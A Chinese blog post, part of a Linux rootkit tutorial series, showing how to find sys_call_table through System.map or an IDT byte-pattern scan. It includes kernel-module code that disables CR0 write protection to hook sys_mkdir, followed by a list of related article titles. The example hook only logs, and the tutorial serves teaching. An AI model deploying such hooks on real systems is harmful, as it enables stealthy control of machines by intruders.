本篇文章按照之前文章所说的,来介绍linux rootkit中的系统调用挂钩技术。

1.背景

本次环境依然是linux 2.6系列内核,ubuntu10.04。

本篇文章及上篇文章的示例代码:Github链接。

通常,通过rootkit来实现对系统控制的主要途径之一就是通过对系统调用进行挂钩(Hook)来实现的,这是因为系统调用本身的重要性质决定的。系统调用提供用户程序与操作系统之间的接口,由操作系统内核来提供,运行在核心态,这意味着一旦掌握系统调用,我们就可以掌握操作系统的权限和功能,来实现用户态所无法完成的事情。而掌握系统调用通常是通过对系统调用挂钩来进行的,也就是通过实现一个自己的系统调用例程来替换操作系统中的系统调用例程。

当然我们也可以通过其他的办法来实现rootkit对系统的控制,比如对内存直接进行操作,或者修改已有的内核模块,这些我们后面会讨论,今天的主题还是系统调用。

往日的岁月总是美好的,在曾经的linux2.4系列内核中,我们可以轻易的获取系统调用表(sys_call_table),并对其进行修改,指向我们自己实现的系统调用历程,从而实现挂钩。(说句题外话,FreeBSD6.0当中的系统调用挂钩方法也是类似的,具体可以参考Joseph Kong的《Designing BSD Rookit》一书,在我学习rootkit过程中该书给我了很大的指导与启发。)

extern void *sys_call_table[];
...
...
sys_call_table[__NR_syscall] = (our_sys_call_func);

但是linux2.6版本以后,sys_call_table[]不再是全局变量了,无法通过简单的”extern” 就可以得到它了。当然,天无绝人之路,我们可以曲线救国。在novice同学文章中,他选择了使用暴力搜索内存空间法来获取sys_call_table,简洁有效。不过我们这次将介绍另外两种不同的办法来搞定sys_call_table。

2.通过system.map获取系统调用表

我介绍的第一种方法,也是我认为获取系统调用表的最最简单的方法,是通过system.map来定位系统调用表在内存中的位置。

什么是是system.map?在我们利用它前,首先需要了解它。System.map,顾名思义,系统的映射,但具体映射的是什么东西?其实是内核符号及其所在内存地址两者的映射。通过地址,我们可以找到符号,也就是找到变量及函数;通过符号,我们也可以得知其所在地址。更多请参考该网站。在这里,我们需要通过符号来获取地址,我们已知的符号是sys_call_table,系统调用表,我们在system.map里便可以找到系统调用表所对应,也就是所在的内存地址。说了这么多,该如何具体操作呢。System.map位于/boot目录下,我们可以通过cat命令进行查看。(不同内核版本system.map的后缀不同,需要注意),由于内容太多,我们只展现部分内容。

然后我们来找找系统调用表的内存地址究竟是多少。(注意每个机器的地址会不同,具体以自己的机器为准。我在github中提供的示例代码中sys_call_table的地址是我机器上的地址,如果要使用示例代码,需要根据本地情况修改sys_call_table的内存地址)

OK,接下来的事情也就简单了,我先上代码,这里我们挂钩的是sys_mkdir系统调用:

asmlinkage long (*real_mkdir)(const char __user *pathname, umode_t mode);
asmlinkage long fake_mkdir(const char __user *pathname, umode_t mode)
{printk("Arciryas:mkdir-%s\n", pathname);return (*real_mkdir)(pathname, mode);
}real_mkdir = (void *)sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir] = fake_mkdir;

相信大家基本都能看懂,我这里解释下那个”__NR_mkdir”是怎么回事,参见该网址。

这里的”__NR_xxxx”是unistd.h中定义的宏,代表着系统调用号,而系统调用号对应着系统调用表的相应的入口,具体参考 该网址。

当然不能这样就完了,内存可不是你想修改就修改的,就像之前novice同学提到的,我们需要关闭写保护,因为之前提过我就不再赘述了。我直接上代码:

static int lkm_init(void)
{write_cr0(read_cr0() & (~0x10000));real_mkdir = (void *)sys_call_table[__NR_mkdir];sys_call_table[__NR_mkdir] = fake_mkdir;write_cr0(read_cr0() | 0x10000);printk("Arciryas:module loaded\n");return 0;
}static void lkm_exit(void)
{write_cr0(read_cr0() & (~0x10000));sys_call_table[__NR_mkdir] = real_mkdir;write_cr0(read_cr0() | 0x10000);printk("Arciryas:module removed\n");
}

ok,我们的任务成功告一段落,makefile文件和上篇文章一样,我们现在就来make,insmod,然后创建一个新文件夹,看看我们的lkm有没有正常运作,如图:

看来一切都在我们掌握之中!

3.通过IDT(中断描述符表)获取系统调用表

为什么我们要介绍不同的几种获取sys_call_table的办法?一招鲜没法吃遍天,就像novice在该系列第二篇文章中所说,暴力搜索内存空间法来获取sys_call_table存在被欺骗的可能,而我们刚才介绍的通过system.map的方法也有缺陷,要知道system.map对于内核来说并非必不可少的,如果没有system.map,我们该怎么做?于是接下来我们将要补充的是第三种方法:通过IDT(中断描述符表)获取系统调用表。

首先,我们还是需要理解下什么是IDT,以及为什么通过IDT可以得到sys_call_table。中断描述符表(Interrupt Descriptor Table,IDT),其作用是将每个异常或中断向量分别与它们的处理过程联系起来,每一个向量在表中有相应的中断或异常处理程序的入口地址。当系统发生中断时,内核根据异常或中断向量来在IDT中选择对应的处理程序的入口地址,进而对中断或异常进行处理。然后是重点:linux中的系统调用,也是通过一个特殊的中断——0×80号中断来实现的(补充一句,linux的系统调用还可以通过sysenter方法进入,所以这里介绍的通过0×80中断获取sys_call_table方法也是有局限的):

1.用户进程在执行系统调用前,先把系统调用名(实际上是系统调用号)、输入参数等放到寄存器上(EBX,ECX等寄存器)

2.然后发出int 0×80指令,即触发128号中断

3.系统暂停用户进程,根据128号中断找到中断服务程序system_call

4.128号中断的中断服务程序system_call紧接着执行。在进行必要的处理后,统一调用 call sys_call_table(,eax,4)来调用sys_call_table表中的系统调用服务,eax存放的即时系统调用号;执行完毕后它又会把输出结果放到寄存器中。

5.系统恢复用户进程,进程从寄存器中取到自己想要的东西,然后继续执行。

ok,在这个过程中,我们发现了sys_call_table的出现。在具体操作中,我们应该如何来通过IDT来得到系统调用表呢,以下是我们所需要完成的程序的核心思路:

1.利用sidt 指令,得到IDT

2.在IDT中找到0×80号中断的中断服务程序的地址system_call

3.从0×80号中断的中断服务程序system_call的地址开始搜索硬编码 \xff\x14\x85,这块硬编码的后面紧接着就是系统调用表的地址了,因为x86 call指令的二进制格式为\xff\x14\x85,而中断服务程序调用系统调用的语句是call sys_call_table(,eax,4)

IDT和系统调用的关联,以及通过IDT获取sys_call_table的思路已经介绍完毕,接下来我们用代码来进一步说明:

struct
{unsigned short size;unsigned int addr;
} __attribute__((packed)) idtr;struct
{unsigned short offset_1; /*offset bits 0..15*/unsigned short selector; /*a code segment selector in GDT or LDT*/unsigned char  zero; /*unused, set to 0*/unsigned char  type_attr; /*type and attributes*/unsigned short offset_2; /*offset bits 16..31*/
} __attribute__((packed)) idt;

这两个结构体代表着IDTR和IDT表项,IDTR是中断描述符表寄存器(Interrupt Descriptor Table Register),用来定位IDT的位置,因为IDT表可以驻留在线性地址空间的任何地方,所以处理器专门有寄存器来储存IDT的位置,也就是IDTR寄存器。我们通过sidt指令加载IDTR寄存器的内容,然后储存到我们自己的这个结构体中,然后通过其找到IDT的位置所在,将IDT存到我们所设的结构体中,便于操作。

unsigned long  *find_sys_call_table(void)
{unsigned int sys_call_off;char *p;int i;unsigned int ret;asm ("sidt %0" : "=m" (idtr));printk("Arciryas:idt table-0x%x\n", idtr.addr);memcpy(&idt, idtr.addr + 8 * 0x80, sizeof(idt));sys_call_off = ((idt.offset_2 << 16) | idt.offset_1);p = sys_call_off;for (i = 0; i < 100; i++){if ((p[i] == '\xff') && (p[i + 1] == '\x14') && (p[i + 2] == '\x85')){ret = *(unsigned int *)(p + i + 3);}}printk("Arciryas:sys_call_table-0x%x\n", ret);return (unsigned long**)ret;
}

这是我们这次获取系统调用操作的核心代码,我将详细说明:

asm("sidt %0":"=m"(idtr));

这是使用内联汇编的办法调用sidt这一汇编指令,然后将加载出的中断描述符表寄存器中的内容存入我们之前准备好的的idtr结构体。

memcpy(&idt, idtr.addr+8*0x80, sizeof(idt));

这条语句的目的是获取0×80中断所对应的IDT中的表项。中断描述符表共256项,每项8字节,每项代表一种中断类型。所以我们要从IDR起始地址后的8*0×80位置拷贝一个IDT表项大小的数据,也就是0×80中断所对应的IDT中的表项,到我们之前准备好的结构体中。

sys_call_off = ((idt.offset_2<<16) | idt.offset_1);

这条语句获取的是128号中断的中断服务程序system_call的地址,idt.offset_1和idt.offset_2代表什么参考我之前的注释。

for (i = 0; i < 100; i++)
{if ((p[i] == '\xff') && (p[i + 1] == '\x14') && (p[i + 2] == '\x85')){ret = *(unsigned int *)(p + i + 3);}
}

最后一击,搜索\xff\x14\x85,得到sys_call_table地址。

具体挂钩操作在之前介绍system.map方法的内容中有叙述,在此不再赘述。

代码完成了,看看实验结果如何:

显然我们成功达成了目标。

4.结语

技多不压身,多掌握几种不同的系统调用挂钩法不但有助于开拓我们的视野,还可以让我们在不同的情况下选择更合适的办法来hook。当然系统调用的挂钩法远远不止我介绍的两种和novice同学所介绍的,其他还包括模拟call

sys_call_table(,eax,4)方法,dump_stack法(本质和system.map方法接近),栈结构获取法等等。这些有兴趣的同学可以自行研究,本系列文章就不再进行讲述了,请大家期待接下来的文章!

5.参考链接

http://wiki.osdev.org/Interrupt_Descriptor_Table    对IDT的介绍

http://rlworkman.net/system.map/     对system.map的介绍

Linux Rootkit 系列四:对于系统调用挂钩方法的补充相关推荐

  1. linux mkdir 系统调用,Linux Rootkit 系列四:对于系统调用挂钩方法的补充

    免责声明:本文介绍的安全知识方法以及代码仅用于渗透测试及安全教学使用,禁止任何非法用途,后果自负 前言 我将会把系列文章继续写下去,由于本系列文章novice同学也在写,所以我俩的顺序可能有点乱,不过 ...

  2. Linux Rootkit 系列三:实例详解 Rootkit 必备的基本功能

    本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试 ...

  3. linux rootkit 端口复用,Linux Rootkit系列三:实例详解 Rootkit 必备的基本功能

    前言鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试! 概要 在 上一篇文章中笔者详细地阐述了基于直接修改系统调用表 (即 sys_c ...

  4. Linux Rootkit 系列二:基于修改 sys_call_table 的系统调用挂钩

    与第一篇文章作者所想象的不同,本文不打算给大家介绍三种不同的系统调用挂钩技术,相反,本文仅详细讲解最简单的系统调用挂钩方案,并且基于这个方案实现最基本的文件监视工具.这样,既可以让读者轻松上手进行实际 ...

  5. linux系统调用挂钩方法总结

    相关学习资料 http://xiaonieblog.com/?post=121 http://hbprotoss.github.io/posts/li-yong-ld_preloadjin-xing- ...

  6. Linux Rootkit 系列五:感染系统关键内核模块实现持久化

    前言 照旧,本文所需的相关代码位于如下代码仓库:Github 测试建议:为了愉快地 Happy Hacking,请不要在物理机玩火. 概要 本文分为两大部分, 第一部分是基于链接与修改符号表感染并劫持 ...

  7. Linux学习系列五:Shell命令脚本的基本语法

    这个系列的Linux教程主要参考刘遄老师的<Linux就该这么学>.用的系统是RHEL8,如果遇见一些命令出现问题,请首先检查自己的系统是否一致,如果不一致,可网上查一下系统间某些命令之间 ...

  8. Linux学习系列二:Linux中的常用命令

    这个系列的Linux教程主要参考刘遄老师的<Linux就该这么学>.用的系统是RHEL8,如果遇见一些命令出现问题,请首先检查自己的系统是否一致,如果不一致,可网上查一下系统间某些命令之间 ...

  9. linux安装IPython四种方法

    IPython是Python的交互式Shell,提供了代码自动补完,自动缩进,高亮显示,执行Shell命令等非常有用的特性.特别是它的代码补完功能,例如:在输入zlib.之后按下Tab键,IPytho ...

最新文章

  1. webpack 编译html模板文件
  2. Windows 8.1安装.net 3.5功能
  3. Yii1.1 CGridView 简单使用
  4. ZetCode 绘图教程
  5. 剑指offer面试题[20]-顺时针打印矩阵
  6. mysql 分区表 知乎_mysql 分区表
  7. 路由器温度测试软件,[折腾] 夏天别热晕了!自制光猫/路由器散热支架(更新温度测试)...
  8. 每个星座的出生日期php,php根据出生日期计算 年龄/生肖/星座
  9. 明日书苑|硬笔书法临写指南
  10. Font Awesome 的使用
  11. iOS10 适配 ATS(app支持https通过App Store审核) 韩俊强的博客
  12. StatisticalOutlierRemoval 过滤器去除异常值
  13. Sql Server 2012完全彻底卸载教程
  14. 打开anaconda prompt 出错 import ctypes
  15. Redis安装Windows教程
  16. Anroidstudio安装
  17. 桥牌坐庄训练bm2000 level3闯关记录——A7
  18. Android初学之十七:使用LitePal操作数据库
  19. Kotlin高阶函数之 .() 的使用
  20. 文件操作之打开文件——fopen函数用法

热门文章

  1. stm32通用定时器的PWM输出
  2. 2017云计算及工业物联网论坛即将于广州开幕
  3. Enterprise Library 3.0 安装过程
  4. 机器学习十大算法(二)
  5. 网页视频播放器插件源码
  6. 【C++】explicit 关键字
  7. docker+springboot部署总结
  8. springboot activiti 整合项目框架源码 shiro 安全框架 druid 数据库连接池
  9. 动态路由器与静态路由器的理论知识
  10. [linux]windows无法访问samba的安全性问题(关闭selinux)